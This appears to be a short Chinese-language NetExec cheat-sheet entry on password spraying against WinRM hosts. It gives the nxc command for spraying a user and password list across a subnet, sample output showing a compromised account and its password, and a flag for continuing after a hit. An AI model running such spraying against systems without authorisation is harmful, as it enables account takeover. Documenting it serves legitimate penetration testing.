密码喷洒攻击

密码喷洒攻击（不使用暴力破解）

#~ nxc winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce

预期结果：

WINRM       192.168.255.131 5985   ROGER            [*] http://192.168.255.131:5985/wsman
WINRM       192.168.255.131 5985   ROGER            [-] GOLD\test1:pass1 "Failed to authenticate the user test1 with ntlm"
WINRM       192.168.255.131 5985   ROGER            [+] GOLD\bonclay:Password@123 (Pwn3d!)

默认情况下，nxc 会在找到一个有效登录后退出。使用 --continue-on-success 标志会在找到有效密码后继续喷洒。这在对大量用户列表使用单个密码进行喷洒时很有用。